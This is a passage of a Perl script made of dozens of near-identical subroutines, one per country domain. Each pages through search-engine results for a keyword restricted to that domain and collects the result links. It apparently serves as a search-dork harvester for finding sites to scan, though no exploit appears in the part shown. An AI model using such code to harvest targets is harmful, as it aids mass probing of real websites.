  5247.                 my @grep = &links($link);
  5248.                 push(@list,@grep);
  5249.             }
  5250.         }
  5251.     }
  5252.     return @list;
  5253. }
  5254.  
  5255. sub az() {
  5256.     my @list;
  5257.     my $key = $_[0];
  5258.     for (my $i=0; $i<=1000; $i+=100){
  5259.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i);
  5260.         my $res = &search_engine_query($search);
  5261.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5262.             my $link = $1;
  5263.             if ($link !~ /google/){
  5264.                 my @grep = &links($link);
  5265.                 push(@list,@grep);
  5266.             }
  5267.         }
  5268.     }
  5269.     return @list;
  5270. }
  5271.  
  5272. sub bh() {
  5273.     my @list;
  5274.     my $key = $_[0];
  5275.     for (my $i=0; $i<=1000; $i+=100){
  5276.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Abh%26num%3D100%26start%3D".$i);
  5277.         my $res = &search_engine_query($search);
  5278.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5279.             my $link = $1;
  5280.             if ($link !~ /google/){
  5281.                 my @grep = &links($link);
  5282.                 push(@list,@grep);
  5283.             }
  5284.         }
  5285.     }
  5286.     return @list;
  5287. }
  5288.  
  5289. sub bd() {
  5290.     my @list;
  5291.     my $key = $_[0];
  5292.     for (my $i=0; $i<=1000; $i+=100){
  5293.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i);
  5294.         my $res = &search_engine_query($search);
  5295.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5296.             my $link = $1;
  5297.             if ($link !~ /google/){
  5298.                 my @grep = &links($link);
  5299.                 push(@list,@grep);
  5300.             }
  5301.         }
  5302.     }
  5303.     return @list;
  5304. }
  5305.  
  5306. sub bz() {
  5307.     my @list;
  5308.     my $key = $_[0];
  5309.     for (my $i=0; $i<=1000; $i+=100){
  5310.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Abz%26num%3D100%26start%3D".$i);
  5311.         my $res = &search_engine_query($search);
  5312.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5313.             my $link = $1;
  5314.             if ($link !~ /google/){
  5315.                 my @grep = &links($link);
  5316.                 push(@list,@grep);
  5317.             }
  5318.         }
  5319.     }
  5320.     return @list;
  5321. }
  5322.  
  5323. sub bo() {
  5324.     my @list;
  5325.     my $key = $_[0];
  5326.     for (my $i=0; $i<=1000; $i+=100){
  5327.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Abo%26num%3D100%26start%3D".$i);
  5328.         my $res = &search_engine_query($search);
  5329.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5330.             my $link = $1;
  5331.             if ($link !~ /google/){
  5332.                 my @grep = &links($link);
  5333.                 push(@list,@grep);
  5334.             }
  5335.         }
  5336.     }
  5337.     return @list;
  5338. }
  5339.  
  5340. sub ba() {
  5341.     my @list;
  5342.     my $key = $_[0];
  5343.     for (my $i=0; $i<=1000; $i+=100){
  5344.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aba%26num%3D100%26start%3D".$i);
  5345.         my $res = &search_engine_query($search);
  5346.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5347.             my $link = $1;
  5348.             if ($link !~ /google/){
  5349.                 my @grep = &links($link);
  5350.                 push(@list,@grep);
  5351.             }
  5352.         }
  5353.     }
  5354.     return @list;
  5355. }
  5356.  
  5357. sub vg() {
  5358.     my @list;
  5359.     my $key = $_[0];
  5360.     for (my $i=0; $i<=1000; $i+=100){
  5361.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Avg%26num%3D100%26start%3D".$i);
  5362.         my $res = &search_engine_query($search);
  5363.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5364.             my $link = $1;
  5365.             if ($link !~ /google/){
  5366.                 my @grep = &links($link);
  5367.                 push(@list,@grep);
  5368.             }
  5369.         }
  5370.     }
  5371.     return @list;
  5372. }
  5373.  
  5374. sub bg() {
  5375.     my @list;
  5376.     my $key = $_[0];
  5377.     for (my $i=0; $i<=1000; $i+=100){
  5378.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i);
  5379.         my $res = &search_engine_query($search);
  5380.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5381.             my $link = $1;
  5382.             if ($link !~ /google/){
  5383.                 my @grep = &links($link);
  5384.                 push(@list,@grep);
  5385.             }
  5386.         }
  5387.     }
  5388.     return @list;
  5389. }
  5390.  
  5391. sub bi() {
  5392.     my @list;
  5393.     my $key = $_[0];
  5394.     for (my $i=0; $i<=1000; $i+=100){
  5395.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Abi%26num%3D100%26start%3D".$i);
  5396.         my $res = &search_engine_query($search);
  5397.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5398.             my $link = $1;
  5399.             if ($link !~ /google/){
  5400.                 my @grep = &links($link);
  5401.                 push(@list,@grep);
  5402.             }
  5403.         }
  5404.     }
  5405.     return @list;
  5406. }
  5407.  
  5408. sub co() {
  5409.     my @list;
  5410.     my $key = $_[0];
  5411.     for (my $i=0; $i<=1000; $i+=100){
  5412.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i);
  5413.         my $res = &search_engine_query($search);
  5414.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5415.             my $link = $1;
  5416.             if ($link !~ /google/){
  5417.                 my @grep = &links($link);
  5418.                 push(@list,@grep);
  5419.             }
  5420.         }
  5421.     }
  5422.     return @list;
  5423. }
  5424.  
  5425. sub cd() {
  5426.     my @list;
  5427.     my $key = $_[0];
  5428.     for (my $i=0; $i<=1000; $i+=100){
  5429.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Acd%26num%3D100%26start%3D".$i);
  5430.         my $res = &search_engine_query($search);
  5431.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5432.             my $link = $1;
  5433.             if ($link !~ /google/){
  5434.                 my @grep = &links($link);
  5435.                 push(@list,@grep);
  5436.             }
  5437.         }
  5438.     }
  5439.     return @list;
  5440. }
  5441.  
  5442. sub cg() {
  5443.     my @list;
  5444.     my $key = $_[0];
  5445.     for (my $i=0; $i<=1000; $i+=100){
  5446.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Acg%26num%3D100%26start%3D".$i);
  5447.         my $res = &search_engine_query($search);
  5448.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5449.             my $link = $1;
  5450.             if ($link !~ /google/){
  5451.                 my @grep = &links($link);
  5452.                 push(@list,@grep);
  5453.             }
  5454.         }
  5455.     }
  5456.     return @list;
  5457. }
  5458.  
  5459. sub ck() {
  5460.     my @list;
  5461.     my $key = $_[0];
  5462.     for (my $i=0; $i<=1000; $i+=100){
  5463.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Ack%26num%3D100%26start%3D".$i);
  5464.         my $res = &search_engine_query($search);
  5465.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5466.             my $link = $1;
  5467.             if ($link !~ /google/){
  5468.                 my @grep = &links($link);
  5469.                 push(@list,@grep);
  5470.             }
  5471.         }
  5472.     }
  5473.     return @list;
  5474. }
  5475.  
  5476. sub cr() {
  5477.     my @list;
  5478.     my $key = $_[0];
  5479.     for (my $i=0; $i<=1000; $i+=100){
  5480.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Acr%26num%3D100%26start%3D".$i);
  5481.         my $res = &search_engine_query($search);
  5482.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5483.             my $link = $1;
  5484.             if ($link !~ /google/){
  5485.                 my @grep = &links($link);
  5486.                 push(@list,@grep);
  5487.             }
  5488.         }
  5489.     }
  5490.     return @list;
  5491. }
  5492.  
  5493. sub hr() {
  5494.     my @list;
  5495.     my $key = $_[0];
  5496.     for (my $i=0; $i<=1000; $i+=100){
  5497.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i);
  5498.         my $res = &search_engine_query($search);
  5499.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5500.             my $link = $1;
  5501.             if ($link !~ /google/){
  5502.                 my @grep = &links($link);
  5503.                 push(@list,@grep);
  5504.             }
  5505.         }
  5506.     }
  5507.     return @list;
  5508. }
  5509.  
  5510. sub cu() {
  5511.     my @list;
  5512.     my $key = $_[0];
  5513.     for (my $i=0; $i<=1000; $i+=100){
  5514.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i);
  5515.         my $res = &search_engine_query($search);
  5516.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5517.             my $link = $1;
  5518.             if ($link !~ /google/){
  5519.                 my @grep = &links($link);
  5520.                 push(@list,@grep);
  5521.             }
  5522.         }
  5523.     }
  5524.     return @list;
  5525. }
  5526.  
  5527. sub ci() {
  5528.     my @list;
  5529.     my $key = $_[0];
  5530.     for (my $i=0; $i<=1000; $i+=100){
  5531.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aci%26num%3D100%26start%3D".$i);
  5532.         my $res = &search_engine_query($search);
  5533.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5534.             my $link = $1;
  5535.             if ($link !~ /google/){
  5536.                 my @grep = &links($link);
  5537.                 push(@list,@grep);
  5538.             }
  5539.         }
  5540.     }
  5541.     return @list;
  5542. }
  5543.  
  5544. sub dj() {
  5545.     my @list;
  5546.     my $key = $_[0];
  5547.     for (my $i=0; $i<=1000; $i+=100){
  5548.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Adj%26num%3D100%26start%3D".$i);
  5549.         my $res = &search_engine_query($search);
  5550.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5551.             my $link = $1;
  5552.             if ($link !~ /google/){
  5553.                 my @grep = &links($link);
  5554.                 push(@list,@grep);
  5555.             }
  5556.         }
  5557.     }
  5558.     return @list;
  5559. }
  5560.  
  5561. sub dm() {
  5562.     my @list;
  5563.     my $key = $_[0];
  5564.     for (my $i=0; $i<=1000; $i+=100){
  5565.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Adm%26num%3D100%26start%3D".$i);
  5566.         my $res = &search_engine_query($search);
  5567.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5568.             my $link = $1;
  5569.             if ($link !~ /google/){
  5570.                 my @grep = &links($link);
  5571.                 push(@list,@grep);
  5572.             }
  5573.         }
  5574.     }
  5575.     return @list;
  5576. }
  5577.  
  5578. sub do() {
  5579.     my @list;
  5580.     my $key = $_[0];
  5581.     for (my $i=0; $i<=1000; $i+=100){
  5582.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i);
  5583.         my $res = &search_engine_query($search);
  5584.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5585.             my $link = $1;
  5586.             if ($link !~ /google/){
  5587.                 my @grep = &links($link);
  5588.                 push(@list,@grep);
  5589.             }
  5590.         }
  5591.     }
  5592.     return @list;
  5593. }
  5594.  
  5595. sub ec() {
  5596.     my @list;
  5597.     my $key = $_[0];
  5598.     for (my $i=0; $i<=1000; $i+=100){
  5599.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i);
  5600.         my $res = &search_engine_query($search);
  5601.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5602.             my $link = $1;
  5603.             if ($link !~ /google/){
  5604.                 my @grep = &links($link);
  5605.                 push(@list,@grep);
  5606.             }
  5607.         }
  5608.     }
  5609.     return @list;
  5610. }
  5611.  
  5612. sub eg() {
  5613.     my @list;
  5614.     my $key = $_[0];
  5615.     for (my $i=0; $i<=1000; $i+=100){
  5616.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i);
  5617.         my $res = &search_engine_query($search);
  5618.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5619.             my $link = $1;
  5620.             if ($link !~ /google/){
  5621.                 my @grep = &links($link);
  5622.                 push(@list,@grep);
  5623.             }
  5624.         }
  5625.     }
  5626.     return @list;
  5627. }
  5628.  
  5629. sub sv() {
  5630.     my @list;
  5631.     my $key = $_[0];
  5632.     for (my $i=0; $i<=1000; $i+=100){
  5633.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i);
  5634.         my $res = &search_engine_query($search);
  5635.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5636.             my $link = $1;
  5637.             if ($link !~ /google/){
  5638.                 my @grep = &links($link);
  5639.                 push(@list,@grep);
  5640.             }
  5641.         }
  5642.     }
  5643.     return @list;
  5644. }
  5645.  
  5646. sub ee() {
  5647.     my @list;
  5648.     my $key = $_[0];
  5649.     for (my $i=0; $i<=1000; $i+=100){
  5650.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i);
  5651.         my $res = &search_engine_query($search);
  5652.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5653.             my $link = $1;
  5654.             if ($link !~ /google/){
  5655.                 my @grep = &links($link);
  5656.                 push(@list,@grep);
  5657.             }
  5658.         }
  5659.     }
  5660.     return @list;
  5661. }
  5662.  
  5663. sub et() {
  5664.     my @list;
  5665.     my $key = $_[0];
  5666.     for (my $i=0; $i<=1000; $i+=100){
  5667.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Aet%26num%3D100%26start%3D".$i);
  5668.         my $res = &search_engine_query($search);
  5669.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5670.             my $link = $1;
  5671.             if ($link !~ /google/){
  5672.                 my @grep = &links($link);
  5673.                 push(@list,@grep);
  5674.             }
  5675.         }
  5676.     }
  5677.     return @list;
  5678. }
  5679.  
  5680. sub fj() {
  5681.     my @list;
  5682.     my $key = $_[0];
  5683.     for (my $i=0; $i<=1000; $i+=100){
  5684.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Afj%26num%3D100%26start%3D".$i);
  5685.         my $res = &search_engine_query($search);
  5686.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5687.             my $link = $1;
  5688.             if ($link !~ /google/){
  5689.                 my @grep = &links($link);
  5690.                 push(@list,@grep);
  5691.             }
  5692.         }
  5693.     }
  5694.     return @list;
  5695. }
  5696.  
  5697. sub fi() {
  5698.     my @list;
  5699.     my $key = $_[0];
  5700.     for (my $i=0; $i<=1000; $i+=100){
  5701.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i);
  5702.         my $res = &search_engine_query($search);
  5703.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5704.             my $link = $1;
  5705.             if ($link !~ /google/){
  5706.                 my @grep = &links($link);
  5707.                 push(@list,@grep);
  5708.             }
  5709.         }
  5710.     }
  5711.     return @list;
  5712. }
  5713.  
  5714. sub gm() {
  5715.     my @list;
  5716.     my $key = $_[0];
  5717.     for (my $i=0; $i<=1000; $i+=100){
  5718.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Agm%26num%3D100%26start%3D".$i);
  5719.         my $res = &search_engine_query($search);
  5720.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5721.             my $link = $1;
  5722.             if ($link !~ /google/){
  5723.                 my @grep = &links($link);
  5724.                 push(@list,@grep);
  5725.             }
  5726.         }
  5727.     }
  5728.     return @list;
  5729. }
  5730.  
  5731. sub gi() {
  5732.     my @list;
  5733.     my $key = $_[0];
  5734.     for (my $i=0; $i<=1000; $i+=100){
  5735.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Agi%26num%3D100%26start%3D".$i);
  5736.         my $res = &search_engine_query($search);
  5737.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5738.             my $link = $1;
  5739.             if ($link !~ /google/){
  5740.                 my @grep = &links($link);
  5741.                 push(@list,@grep);
  5742.             }
  5743.         }
  5744.     }
  5745.     return @list;
  5746. }
  5747.  
  5748. sub gr() {
  5749.     my @list;
  5750.     my $key = $_[0];
  5751.     for (my $i=0; $i<=1000; $i+=100){
  5752.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i);
  5753.         my $res = &search_engine_query($search);
  5754.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5755.             my $link = $1;
  5756.             if ($link !~ /google/){
  5757.                 my @grep = &links($link);
  5758.                 push(@list,@grep);
  5759.             }
  5760.         }
  5761.     }
  5762.     return @list;
  5763. }
  5764.  
  5765. sub gl() {
  5766.     my @list;
  5767.     my $key = $_[0];
  5768.     for (my $i=0; $i<=1000; $i+=100){
  5769.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Agl%26num%3D100%26start%3D".$i);
  5770.         my $res = &search_engine_query($search);
  5771.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5772.             my $link = $1;
  5773.             if ($link !~ /google/){
  5774.                 my @grep = &links($link);
  5775.                 push(@list,@grep);
  5776.             }
  5777.         }
  5778.     }
  5779.     return @list;
  5780. }
  5781.  
  5782. sub gt() {
  5783.     my @list;
  5784.     my $key = $_[0];
  5785.     for (my $i=0; $i<=1000; $i+=100){
  5786.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Agt%26num%3D100%26start%3D".$i);
  5787.         my $res = &search_engine_query($search);
  5788.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5789.             my $link = $1;
  5790.             if ($link !~ /google/){
  5791.                 my @grep = &links($link);
  5792.                 push(@list,@grep);
  5793.             }
  5794.         }
  5795.     }
  5796.     return @list;
  5797. }
  5798.  
  5799. sub gg() {
  5800.     my @list;
  5801.     my $key = $_[0];
  5802.     for (my $i=0; $i<=1000; $i+=100){
  5803.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Agg%26num%3D100%26start%3D".$i);
  5804.         my $res = &search_engine_query($search);
  5805.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5806.             my $link = $1;
  5807.             if ($link !~ /google/){
  5808.                 my @grep = &links($link);
  5809.                 push(@list,@grep);
  5810.             }
  5811.         }
  5812.     }
  5813.     return @list;
  5814. }
  5815.  
  5816. sub ht() {
  5817.     my @list;
  5818.     my $key = $_[0];
  5819.     for (my $i=0; $i<=1000; $i+=100){
  5820.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aht%26num%3D100%26start%3D".$i);
  5821.         my $res = &search_engine_query($search);
  5822.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5823.             my $link = $1;
  5824.             if ($link !~ /google/){
  5825.                 my @grep = &links($link);
  5826.                 push(@list,@grep);
  5827.             }
  5828.         }
  5829.     }
  5830.     return @list;
  5831. }
  5832.  
  5833. sub hn() {
  5834.     my @list;
  5835.     my $key = $_[0];
  5836.     for (my $i=0; $i<=1000; $i+=100){
  5837.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahn%26num%3D100%26start%3D".$i);
  5838.         my $res = &search_engine_query($search);
  5839.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5840.             my $link = $1;
  5841.             if ($link !~ /google/){
  5842.                 my @grep = &links($link);
  5843.                 push(@list,@grep);
  5844.             }
  5845.         }
  5846.     }
  5847.     return @list;
  5848. }
  5849.  
  5850. sub hk() {
  5851.     my @list;
  5852.     my $key = $_[0];
  5853.     for (my $i=0; $i<=1000; $i+=100){
  5854.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i);
  5855.         my $res = &search_engine_query($search);
  5856.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5857.             my $link = $1;
  5858.             if ($link !~ /google/){
  5859.                 my @grep = &links($link);
  5860.                 push(@list,@grep);
  5861.             }
  5862.         }
  5863.     }
  5864.     return @list;
  5865. }
  5866.  
  5867. sub is() {
  5868.     my @list;
  5869.     my $key = $_[0];
  5870.     for (my $i=0; $i<=1000; $i+=100){
  5871.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i);
  5872.         my $res = &search_engine_query($search);
  5873.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5874.             my $link = $1;
  5875.             if ($link !~ /google/){
  5876.                 my @grep = &links($link);
  5877.                 push(@list,@grep);
  5878.             }
  5879.         }
  5880.     }
  5881.     return @list;
  5882. }
  5883.  
  5884. sub ie() {
  5885.     my @list;
  5886.     my $key = $_[0];
  5887.     for (my $i=0; $i<=1000; $i+=100){
  5888.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i);
  5889.         my $res = &search_engine_query($search);
  5890.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5891.             my $link = $1;
  5892.             if ($link !~ /google/){
  5893.                 my @grep = &links($link);
  5894.                 push(@list,@grep);
  5895.             }
  5896.         }
  5897.     }
  5898.     return @list;
  5899. }
  5900.  
  5901. sub im() {
  5902.     my @list;
  5903.     my $key = $_[0];
  5904.     for (my $i=0; $i<=1000; $i+=100){
  5905.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i);
  5906.         my $res = &search_engine_query($search);
  5907.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5908.             my $link = $1;
  5909.             if ($link !~ /google/){
  5910.                 my @grep = &links($link);
  5911.                 push(@list,@grep);
  5912.             }
  5913.         }
  5914.     }
  5915.     return @list;
  5916. }
  5917.  
  5918. sub je() {
  5919.     my @list;
  5920.     my $key = $_[0];
  5921.     for (my $i=0; $i<=1000; $i+=100){
  5922.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aje%26num%3D100%26start%3D".$i);
  5923.         my $res = &search_engine_query($search);
  5924.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5925.             my $link = $1;
  5926.             if ($link !~ /google/){
  5927.                 my @grep = &links($link);
  5928.                 push(@list,@grep);
  5929.             }
  5930.         }
  5931.     }
  5932.     return @list;
  5933. }
  5934.  
  5935. sub jo() {
  5936.     my @list;
  5937.     my $key = $_[0];
  5938.     for (my $i=0; $i<=1000; $i+=100){
  5939.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ajo%26num%3D100%26start%3D".$i);
  5940.         my $res = &search_engine_query($search);
  5941.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5942.             my $link = $1;
  5943.             if ($link !~ /google/){
  5944.                 my @grep = &links($link);
  5945.                 push(@list,@grep);
  5946.             }
  5947.         }
  5948.     }
  5949.     return @list;
  5950. }
  5951.  
  5952. sub kz() {
  5953.     my @list;
  5954.     my $key = $_[0];
  5955.     for (my $i=0; $i<=1000; $i+=100){
  5956.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i);
  5957.         my $res = &search_engine_query($search);
  5958.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5959.             my $link = $1;
  5960.             if ($link !~ /google/){
  5961.                 my @grep = &links($link);
  5962.                 push(@list,@grep);
  5963.             }
  5964.         }
  5965.     }
  5966.     return @list;
  5967. }
  5968.  
  5969. sub ke() {
  5970.     my @list;
  5971.     my $key = $_[0];
  5972.     for (my $i=0; $i<=1000; $i+=100){
  5973.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i);
  5974.         my $res = &search_engine_query($search);
  5975.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5976.             my $link = $1;
  5977.             if ($link !~ /google/){
  5978.                 my @grep = &links($link);
  5979.                 push(@list,@grep);
  5980.             }
  5981.         }
  5982.     }
  5983.     return @list;
  5984. }
  5985.  
  5986. sub ir() {
  5987.     my @list;
  5988.     my $key = $_[0];
  5989.     for (my $i=0; $i<=1000; $i+=100){
  5990.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i);
  5991.         my $res = &search_engine_query($search);
  5992.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5993.             my $link = $1;
  5994.             if ($link !~ /google/){
  5995.                 my @grep = &links($link);
  5996.                 push(@list,@grep);
  5997.             }
  5998.         }
  5999.     }
  6000.     return @list;
  6001. }
  6002.  
  6003. sub vn() {
  6004.     my @list;
  6005.     my $key = $_[0];
  6006.     for (my $i=0; $i<=1000; $i+=100){
  6007.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i);
  6008.         my $res = &search_engine_query($search);
  6009.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6010.             my $link = $1;
  6011.             if ($link !~ /google/){
  6012.                 my @grep = &links($link);
  6013.                 push(@list,@grep);
  6014.             }
  6015.         }
  6016.     }
  6017.     return @list;
  6018. }
  6019.  
  6020. sub kg() {
  6021.     my @list;
  6022.     my $key = $_[0];
  6023.     for (my $i=0; $i<=1000; $i+=100){
  6024.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i);
  6025.         my $res = &search_engine_query($search);
  6026.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6027.             my $link = $1;
  6028.             if ($link !~ /google/){
  6029.                 my @grep = &links($link);
  6030.                 push(@list,@grep);
  6031.             }
  6032.         }
  6033.     }
  6034.     return @list;
  6035. }
  6036.  
  6037. sub lv() {
  6038.     my @list;
  6039.     my $key = $_[0];
  6040.     for (my $i=0; $i<=1000; $i+=100){
  6041.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i);
  6042.         my $res = &search_engine_query($search);
  6043.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6044.             my $link = $1;
  6045.             if ($link !~ /google/){
  6046.                 my @grep = &links($link);
  6047.                 push(@list,@grep);
  6048.             }
  6049.         }
  6050.     }
  6051.     return @list;
  6052. }
  6053.  
  6054. sub ls() {
  6055.     my @list;
  6056.     my $key = $_[0];
  6057.     for (my $i=0; $i<=1000; $i+=100){
  6058.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Als%26num%3D100%26start%3D".$i);
  6059.         my $res = &search_engine_query($search);
  6060.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6061.             my $link = $1;
  6062.             if ($link !~ /google/){
  6063.                 my @grep = &links($link);
  6064.                 push(@list,@grep);
  6065.             }
  6066.         }
  6067.     }
  6068.     return @list;
  6069. }
  6070.  
  6071. sub ly() {
  6072.     my @list;
  6073.     my $key = $_[0];
  6074.     for (my $i=0; $i<=1000; $i+=100){
  6075.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aly%26num%3D100%26start%3D".$i);
  6076.         my $res = &search_engine_query($search);
  6077.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6078.             my $link = $1;
  6079.             if ($link !~ /google/){
  6080.                 my @grep = &links($link);
  6081.                 push(@list,@grep);
  6082.             }
  6083.         }
  6084.     }
  6085.     return @list;
  6086. }
  6087.  
  6088. sub li() {
  6089.     my @list;
  6090.     my $key = $_[0];
  6091.     for (my $i=0; $i<=1000; $i+=100){
  6092.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ali%26num%3D100%26start%3D".$i);
  6093.         my $res = &search_engine_query($search);
  6094.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6095.             my $link = $1;
  6096.             if ($link !~ /google/){
  6097.                 my @grep = &links($link);
  6098.                 push(@list,@grep);
  6099.             }
  6100.         }
  6101.     }
  6102.     return @list;
  6103. }
  6104.  
  6105. sub lt() {
  6106.     my @list;
  6107.     my $key = $_[0];
  6108.     for (my $i=0; $i<=1000; $i+=100){
  6109.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i);
  6110.         my $res = &search_engine_query($search);
  6111.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6112.             my $link = $1;
  6113.             if ($link !~ /google/){
  6114.                 my @grep = &links($link);
  6115.                 push(@list,@grep);
  6116.             }
  6117.         }
  6118.     }
  6119.     return @list;
  6120. }
  6121.  
  6122. sub lu() {
  6123.     my @list;
  6124.     my $key = $_[0];
  6125.     for (my $i=0; $i<=1000; $i+=100){
  6126.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i);
  6127.         my $res = &search_engine_query($search);
  6128.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6129.             my $link = $1;
  6130.             if ($link !~ /google/){
  6131.                 my @grep = &links($link);
